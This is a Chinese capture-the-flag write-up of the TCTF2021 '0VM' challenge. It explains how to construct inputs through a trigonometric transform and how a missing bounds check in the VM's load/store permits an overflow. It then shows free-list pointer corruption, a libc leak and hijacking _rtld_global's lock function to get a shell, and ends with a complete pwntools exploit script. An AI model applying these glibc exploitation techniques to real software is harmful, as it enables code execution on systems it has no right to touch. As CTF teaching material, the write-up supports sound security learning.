行业新闻

TCTF2021-0VM-考验输入的构造

TCTF2021-0VM-考验输入的构造

 

题目附件下载

链接: https://pan.baidu.com/s/1q8zkmKiHVYVJ8OaV4BWHOg 提取码: llpj

 

程序输入分析

程序实际上通过解析你输入的数据,将其通过一定的算法转化为相关的指令,然后再进行模拟指令的运行,漏洞实际上存在于一些指令的运行中,但是比较麻烦的是构造输入的问题。

其输入的解析函数如下,可见其只需要在你的输入中解析出v5,v6,v7还有choice,更简化一点其实我们用到的指令只需要v5,v7这两个参数。

这些的参数的构造是由你输入的64个8字节进行解析的,它由sub_1309函数主要完成解析。解析的过程其实就是三角函数的公式计算过程需要一些特别的技巧。其过程大概数通过三角函数对你的输入做一系列处理后,输出平方和的开方(计算三角函数的常数项系数)

首先其构造一个三角函数序列

t=2*PI/64
a1={1,cost,cos2t,...,cos63t}
a2={0,-sint,-sin2t,...,-sin63t}

数据分批(mod)进行处理。对于每个mod,对数据按照mod个一组进行分批次处理(mod=2,就分32个批次,注意mod是2的整数倍),每个批次对数据的处理遵从下面的公式:

mod:每个组的数据个数
n1: 总共由多少组数据

v0= a5[ii+n]
v1= a6[ii+n]

t0
=a5[ii + n + mod / 2] * a1[ii * n1]-a6[ii + n + mod / 2] * a2[ii * n1]
=a5[ii + n + mod / 2]*cos(ii*n1*t)-a6[ii + n + mod / 2]*(-sin(ii*ni*t))
=a5[ii + n + mod / 2]*cos(ii*n1*t)+a6[ii + n + mod / 2]*sin(ii*ni*t)
t1 
=a5[ii + n + mod / 2]*a2[ii * n1]+a6[ii + n + mod / 2] * a1[ii * n1];
=a5[ii + n + mod / 2]*(-sin(ii * n1*t))+a6[ii + n + mod / 2]*cos(ii*n1*t)
=-a5[ii + n + mod / 2]*sin(ii * n1*t)+a6[ii + n + mod / 2]*cos(ii*n1*t)

a5[ii+n] = v0+t0 
a6[ii+n] = v1+t1
a5[ii+n+ mod/2 ]=v0-t0
a6[ii+n+ mod/2 ]=v1-t1

不难发现这其中由一些特殊的情况,我们着重来考虑一下三种特殊的情况,这对我们构造数据有帮助。

 

全0的情况

这里比较理解从上面公式就可以看出来,如果 a5[ii+n]、a6[ii+n]、a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2 ]都是0的话,那么那他们处理完来了之后还是0

如果a5[ii+n]、a6[ii+n]、a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2 ]有一边是全0的话,再处理后其位置会被相反的方向的值覆盖。

具体来说,当a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2 ]0的话,a5[ii+n]、a6[ii+n]的值就会扩展到a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2 ]上面。当a5[ii+n]、a6[ii+n]0的话t0、t1的值也会扩展到其另一测。

这里其实是下面的情况需要全0情况做铺垫,因为当你想要保存一边的值的时候只需要将另一边设置为全0。

 

初始全部相等的情况

我们以总数4个为例子看看这样的情况。

mod=2,n1=2

a5: l l l l
a6: 0 0 0 0

->

mod=4,n=1
a5: 2l 0 2l 0
a6: 0  0 0  0

-> 

a5: 4x 0 0 0
a6: 0  0 0 0

可以发现所有的数据都会首部聚集,这其实是一个非常好的的结果。因为我们如果翻看之后的代码我们会发现其实并不需要控制v7的每一个字节,只需要v7的第0个字节和第4个字节能够控制就行了。v7是通过你最后计算的数据4-12的位置进行表达的。

有了这样的一个基本的想法,其实我们就能够做到控制选择功能的choice和参数v7。参考如下的方案。

mod=2,n1=8
a5: l1 l1 l1 l1 l2 l2 l2 l2 l3 l3 l3 l3 l3 l3 l3 l3
a6: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
->
mod=4,n1=4
a5: 2l1 0 2l1 0 2l2 0 2l2 0 2l3 0 2l3 0 2l3 0 2l3 0
a6:  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
->
mod=8,n1=2
a5: 4l1 0 0 0 4l2 0 0 0 4l3 0 0 0 4l3 0 0 0
a6:  0  0 0 0  0  0 0 0  0  0 0 0  0  0 0 0
->
mod=16,n1=1
a5: 4l1+4l2 0 0 0 4l1-4l2 0 0 0 8l3 0 0 0 0 0 0 0
a6:  0      0 0 0  0      0 0 0  0  0 0 0 0 0 0 0
->
a5: 4l1+4l2+8l3 0 0 0 4l1-4l2 0 0 0 4l1+4l2-8l3 0 0 0 4l1-4l2 0 0 0
a6:  0          0 0 0  0      0 0 0  0          0 0 0 0       0 0 0

这样观察前12字节我们发现以这样的方式构造第0、4、8字节都可控而且其他位都是0。我们想要任意控制这三个位置的值列一个方程看看。

4l1+4l2+8l3=a
4l1-4l2=b
4l1+4l2-8l3=c

->
  4  4  8 | a
    4 -4  0 | b
    4  4 -8 | c
->
    1  1  2 | a1
    1 -1  0 | b1
    1  1 -2 | c1
->
    1  1  2 | a1
    0 -2 -2 | b1-a1
    0  0 -4 | c1-a1

这个方程一定有解。

 

相邻互为相反数的情况

为了出发vm的功能,还需要控制v5的内容,和上面的不同,v5由第1个位置(从0开始)控制,如何控制这个位置的值呢成为一个问题?仍然是考虑特殊的情况,即相邻为相反数的情况。

mod=2 n1=32
a5: l0 -l0 l1 -l1 l2 -l2 l3 -l3 ...
a6: 0   0   0  0  0   0   0   0 ...

mod=4 n1=16
a5: 0  2l0  0  2l1 0  2l2  0  2l3 ...
a6: 0   0   0   0  0   0   0   0  ...

mod=8 n1=8
a5: 0  2l0   0  2l0  0  2l2   0  2l2  ...
a6: 0  -2l1  0  2l1  0  -2l3  0  -2l3 ...

当模拟到mod=8 n1=8时,我们回过头来看看这里用到的a1,a2中的内容对这里的影响。之前我们知道全0的就不考虑了,这里主要考虑ii=1和ii=3这两对的经过处理后情况。当ii=1a1a2对应的角度是ii*n1*t=1*8*(2PI/64)=PI/4,另一边的角度是ii*n1*t=3*8*(2PI/64)=3*PI/4,可以看到正好是互补的,带入公式计算我们还能发现更加神奇的地方。

a=ii*n1*t=1*8*(2PI/64)

ii=1
a5[ii+n]=2l0+2l2*cos(a)+(-2l3)sin(a)   = 2l0+2l2*cos(a)-2l3*sin(a)
a6[ii+n]=-2l1+ -2l2*sin(a)+(-2l3)cos(a)=-2l1-(2l2*sin(a)+2l3*cos(a))

a5[ii+n+ mod/2 ]=2l0-(2l2*cos(a)+(-2l3)sin(a))   =2l0-(2l2*cos(a)-2l3*sin(a))
a6[ii+n+ mod/2 ]=-2l1-(-2l2*sin(a)+(-2l3)cos(a)) =-2l1+(2l2*sin(a)+2l3*sin(a))

ii=3
a5[ii+n]=2l0+2l2*cos(PI-a)+2l3*sin(PI-a)  = 2l0-(2l2*cos(a)-2l3*sin(a))
a6[ii+n]=2l1+ -2l2*sin(PI-a)+2l3*cos(PI-a)= 2l1-(2l2*sin(a)+2l3*sin(a))

a5[ii+n+ mod/2 ]=2l0-(2l2*cos(PI-a)+2l3*sin(PI-a))   = 2l0+(2l2*cos(a)-2l3*sin(a))
a6[ii+n+ mod/2 ]=2l1-(-2l2*sin(PI-a)+2l3*cos(PI-a))  = 2l1+(2l2*sin(a)+2l3*sin(a))

不难发现如果方l0=2l2*cos(a)-2l3*sin(a)并且l1=2l2*sin(a)+2l3*sin(a)时就会变化成为

a5:0  4l0 0 0 0 0 0 0 4l0
a6:0 -4l1 0 0 0 0 0 0 4l1

推广一下,按照这样的方程推导下去就会得到这样的结果

a5: 0  l0 0 ... 0 l0
a6: 0 -l1 0 ... 0 l1

这样我们就能够在部影响第0个位置和前12个位置的前提下修改我们的v5为任意的值。

总体的思想上来说就是前32为按照全等的思想构造,控制choicev7的值;后32字节通过相邻为相反数的情况控制v5的值。可能这样来说还是有点抽象,大家最好好事结合exp和具体的代码来看看。

 

程序逻辑分析

经过这次比赛还是推荐大家有docker环境给你还是把docker环境弄出来,实际的调一调,免得像我一样最后关头发现偏移不对,也没时间重新把环境拉下来调了 。废话不多说还是具体来看一下这个函数的个功能。

在介绍功能之前首先用一张图表示一下vm的机制。


首先程序在全局的0x5060处mmap出了一段地址空间用于存放vm空间的管理结构。程序中每申请一段vm空间都会先malloc一个0x50的堆块,这个堆块就是vm空间的管理结构,其结构大致如下所示

struct 
{
    void *space;//指向地址空间![](https://p2.ssl.qhimg.com/t0133ae16b03f5d94c5.png)
    void *free_list;//指向地址空间中被释放的页
    char used[0x40];//用于表示vm空间中的页当前是否在使用
};

每个页的大小是a*0x10其中a是由你申请的时候决定的,同时也决定了vm空间管理结构在0x5060所指向空间中的地址。used中的每个字节都表示每个页的释放和分配状态(0释放,1表示分配)。同时被释放的页会被链入到freelist单链表中,被释放的页的头8字节都是一个fd指针,指向下一个被释放的堆块,当申请页的时候优先从freelist中取出来。

vm程序的主要功能有如下几个。

  • mov_const存入一个数到指定的寄存器
  • store将指定寄存器中的内容存储到指定的vm空间中(8字节)
  • load是从指定的vm空间总取出内容放到指定的寄存器中(8字节)
  • ioctl实现了一写扩展功能,包括:
    1. show功能,输出指定vm空间中的内容

      2.alloc功能,从指定vm空间申请一个页

      3.free功能,将指定的vm空间中的一个页给释放掉

 

漏洞定位

以load为例子,我们关注一下vm程序如何操作vm空间的内容的。

首先我们看一下其地址结构,其中pn(第4个字节)表示哪一块地址空间,off表示在对应地址空间中的偏移(第0个字节)。

|00 00 00|pn|00 00 00|off|
|高          <-         低|

程序首先取出pn到v3中,然后根据off偏移计算出其在对应vm空间中的那个页上,页号存在v4上。然后检查vm空间管理结构的地址为不为空;vm空间管理结构中的space指针为不为空;然后检查对应的页上是否已将申请(检查used[v4]是否为1)。

注意这里虽然检查了页块是否已经被分配,但是并没有做边界检查。因为每次都是读写8字节的数据,如果我在页块的末尾读写,就会溢出到下一个页块的开头。这是一个典型的因为缺乏边界检查而导致的溢出漏洞。

 

漏洞利用

在之前的介绍中提到过vm的空间管理中被释放的堆块会被链入到free_list中形成一个单链表,每个被释放的页块的头8个字节指向下一个被释放的堆块。在这个结构中我们可以利用溢出漏洞修改被释放堆块的fd指针。

观察程序的释放操作,当页块进入free_list中的时候采用的是向链表的末尾插入的方式,这意味这个操作会在末尾的页的头部写上新插入的页的地址。

结合我们可以修改fd指针,便可以想到将fd指针修改到任意位置,再释放一个页,那么就可以在任意位置写上一个页的地址。

这个溢出不仅能够溢出写,也能够溢出读。通过溢出读读去页的fd指针,我们就得到了一个vm空间的地址。这里非常好的是vm空间的地址是和libc的偏移是固定的,通过这个地址的泄漏就能够获得libc的地址(这里一定要在他的docker环境下调一下,偏移会有差异)。同时vm空间的地址和0x5060的地址的偏移也是固定的,同样也能计算出0x5060的地址。

由于0x5060管理这vm空间管理结构的地址,我们用上述修改fd+释放页的方法将一个页的地址写到0x5060的一个位置上,这样我们就获得了一个能够被我们控制的堆管理结构。修改space指针到任意的地址,就能实现任意读写了。

至此我们已经能够实现任意读写了,但是这个结构里面没有free没法劫持free_hook,同时2.31环境下的gadget在malloc_hook下都不满足条件。我这里用的方法是’exit_hook’的方式。

在我们调用exit或者正常退出程序的时候系统会调用__run_exit_handler函数进行处理其中就涉及到如下的[0],[1]这两个处理函数的地址都存放在了一个全局的变量_rtld_global中。我们可通过任意读写修改这个变量从而获得shell。

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
...
__libc_lock_lock (__exit_funcs_lock);[0]
restart:
      cur = *listp;
            ...

    free (cur);

      __libc_lock_unlock (__exit_funcs_lock);[1]
...
}

/*

pwndbg> p/x _rtld_global
$2 = {
  _dl_ns = {{
      _ns_loaded = 0x7f32a2285190,
      _ns_nloaded = 0x5,
      ...
    _dl_rtld_lock_recursive = 0x7f32a2257150,<-__libc_lock_lock
  _dl_rtld_unlock_recursive = 0x7f32a2257160,<-__libc_lock_unlock 
    ...
}
*/

gdb调试的时候发现这个调用这个函数的时候其第一个参数是_rtld_global+2312,于是我们用任意写将/bin/sh写入到其中。修改_dl_rtld_lock_recursive为system地址,出发exit获得shell。

 

EXP


from pwn import *
import struct
from math import *

from pwnlib.term.key import get

# set the cmd and addr
# PI = 6.283185306/2
x = [1, 0.99518472667400348, 0.9807852804104219, 0.95694033574825965, 0.92387953253949984, 0.88192126439179674, 0.83146961236398376, 0.77301045344458474, 0.70710678129080928, 0.63439328429187203, 0.5555702331728507, 0.47139673700479956, 0.38268343256942638, 0.29028467748374848, 0.19509032226920453, 0.09801714060469463, 2.9489624631118261e-10, -0.098017140017742144, -0.19509032169074472, -0.29028467691935222, -0.3826834320245292, -0.47139673648464914, -0.55557023268245631, -0.6343932838359565, -0.70710678087376333, -0.77301045307042471, -0.83146961203631309, -0.88192126411377114, -0.92387953231379671, -0.95694033557705271, -0.98078528029535994, -0.99518472661619461, -
     1.0000000000000009, -0.99518472673181413, -0.98078528052548564, -0.95694033591946825, -0.92387953276520451, -0.88192126466982379, -0.83146961269165565, -0.77301045381874589, -0.70710678170785635, -0.63439328474778856, -0.55557023366324598, -0.47139673752495087, -0.38268343311432429, -0.29028467804814534, -0.19509032284766489, -0.098017141191647603, -8.8468915526718206e-10, 0.098017139430789338, 0.19509032111228469, 0.29028467635495592, 0.38268343147963202, 0.47139673596449866, 0.55557023219206192, 0.63439328338004086, 0.70710678045671727, 0.77301045269626456, 0.8314696117086422, 0.88192126383574521, 0.92387953208809337, 0.95694033540584555, 0.98078528018029787, 0.99518472655838564]

y = [0, -0.098017140311218318, -0.1950903219799745, -0.29028467720155032, -0.3826834322969776, -0.47139673674472399, -0.55557023292765328, -0.63439328406391404, -0.7071067810822862, -0.77301045325750462, -0.83146961220014837, -0.88192126425278394, -0.92387953242664833, -0.95694033566265635, -0.98078528035289114, -0.99518472664509927, -1.0000000000000007, -0.99518472670290903, -0.98078528046795388, -0.95694033583386406, -0.92387953265235234, -0.88192126453081032, -0.83146961252781981, -0.77301045363166532, -0.7071067814993327, -0.63439328451983013, -0.55557023341804823, -0.47139673726487497, -0.38268343284187512, -0.29028467776594674, -0.19509032255843456, -0.098017140898170901, -
     5.897926019099442e-10, 0.098017139724265817, 0.1950903214015148, 0.29028467663715413, 0.38268343175208069, 0.4713967362245739, 0.55557023243725911, 0.63439328360799863, 0.70710678066524024, 0.77301045288334458, 0.83146961187247759, 0.88192126397475823, 0.9238795322009451, 0.9569403354914493, 0.98078528023782918, 0.99518472658729029, 1.0000000000000016, 0.99518472676071967, 0.98078528058301773, 0.95694033600507278, 0.92387953287805702, 0.88192126480883759, 0.83146961285549181, 0.77301045400582657, 0.70710678191637988, 0.63439328497574687, 0.55557023390844362, 0.47139673778502639, 0.38268343338677313, 0.29028467833034355, 0.19509032313689476, 0.098017141485123749]


def list2byte(l):
    tt = [0.00]*64
    for i in range(len(l)):
        idx = 0
        it = i
        for _ in range(6):
            idx = (idx << 1) | (it & 1)
            it = (it >> 1)
        tt[i] = l[idx]
    re = b''
    for i in tt:
        re += struct.pack('<d', i)
    return re

def get_v5(l0, l1, lev):
    if lev == 4:
        return [l0/2, -l0/2, l1/2, -l1/2]
    a = 64//lev
    # print(lev)
    t0 = l0/2
    t1 = l1/2
    t2 = t0*(x[a])+t1*(-y[a])
    t3 = -t0*(-y[a])+t1*(x[a])
    # print(t0, t1, t2, t3)
    return get_v5(t0, t1, lev//2)+get_v5(t2, t3, lev//2)


def set_input(cmd, type, pn, off):
    c = cmd*32.0
    t = type*32.0
    p = pn*32.0
    o = off*32.0
    t1 = ((c+p)/8+o/4)/2
    t2 = ((c+p)/8-o/4)/2
    t3 = c/8-(c+p)/16

    re = [t1]*4+[t2]*4+[t3]*8+[0.00]*16

    l0 = t
    l1 = 0
    re += get_v5(l0, l1, 32)
    # print(re)
    return list2byte(re)

# print(set_input(15, 2, 0, 1 << 4))

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
local = 1   
if local == 1:
    p = process('./0VM')
    lb = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    rdi, rsi, rdx, rax = 0, 0, 0, 0
    syscall = 0
    gadgets = [0xe6e73, 0xe6e76, 0xe6e79]
else:
    p = remote('127.0.0.1',6000)
    lb = ELF('libc-2.31.so')
    rdi, rsi, rdx, rax = 0, 0, 0, 0
    gadgets = [0xe6e73, 0xe6e76, 0xe6e79]
    syscall = 0


cmd = '''
dir ./glibc-2.31/stdlib/
b __run_exit_handlers
'''
'''
b *$rebase(0x01FC9)
b *$rebase(0x02880)\n
b *$rebase(0x0175D)
b *$reabse(0x1A60)\n
'''
# p = gdb.debug('./0VM', cmd)
gdb.attach(p)
# tmp = get_v5(32, 0, 16)+48*[0.00]
# print(tmp)
# tmp = list2byte(tmp)
# p.send(tmp)


def alloc(pn):
    pay = set_input(15, 2, 0, pn << 4)
    p.send(pay)


def free(pn, off):
    pay = set_input(15, 3, pn, off)
    p.send(pay)


def show(pn, off):
    pay = set_input(15, 1, pn, off)
    p.send(pay)

def ext():
    pay = set_input(15, 4, 0, 0)
    p.send(pay)

def wreg(r, v):
    pay = set_input(2, r, 0, v)
    p.send(pay)


def store(r, pn, off):
    pay = set_input(3, r, pn, off)
    p.send(pay)

def load(r,pn,off):
    pay = set_input(4, r, pn, off)
    p.send(pay)

# gdb.attach(p)
p.recv()
for i in range(10):
    alloc(1)
free(1, 0)
free(1, 0x10)
free(1, 0x20)
# free(1,0x30)

alloc(1)
show(1, 0)
addr = u64(p.recv(6).ljust(8, b'\x00'))
mp=addr-0x10
# libc=addr-0x34e010
if local==1:
    libc=mp-0x34e000
else:
    libc=mp-0x345000

print(hex(libc))


# use _run_exit_handler
# &(**listp).fns.func.cxa.fn
# 此方法需要任意读出地址fs:[30]
# fn=libc+0x1ed998
# sys=libc+lb.sym['system']
# sh=mp+8

# 所有gadgets都不能成功
# mh = libc+lb.sym['__malloc_hook']
# rh=libc+lb.sym['realloc']
# gd=libc+gadgets[2]

eh=libc+0x37df70-8
if local==0:
    eh-=0x9000
sys=libc+lb.sym['system']
tar=mp+0x2d000+8*2
wreg(3,0)
store(3,1,0)
for i in range(6):
    wreg(3,p64(tar)[i])
    store(3,1,i+2)
load(2,1,0)
store(2,1,0x10-2)
pause()
free(1,0x30)
alloc(1)
alloc(1)
alloc(1)
for i in range(6):
    wreg(3,p64(eh)[i])
    store(3,1,0x30+i)
# pause()
alloc(2)
for i in range(6):
    wreg(3,p64(sys)[i])
    store(3,2,i)

print(hex(libc))
pause()

# pause()
eh_rdi=libc+0x37d968
if local==0:
    eh_rdi-=0x9000
free(1,0x10)
tar=mp+0x2d000+8*3
wreg(3,0)
store(3,1,0)
for i in range(6):
    wreg(3,p64(tar)[i])
    store(3,1,i+2)
load(2,1,0)
store(2,1,0x10-2)
free(1,0x50)
alloc(1)
alloc(1)
alloc(1)
for i in range(6):
    wreg(3,p64(eh_rdi)[i])
    store(3,1,0x50+i)
alloc(3)
for i in range(8):
    wreg(3,b"/bin/sh\0"[i])
    store(3,3,i)

pause()
print(hex(libc))
ext()

p.interactive()
关闭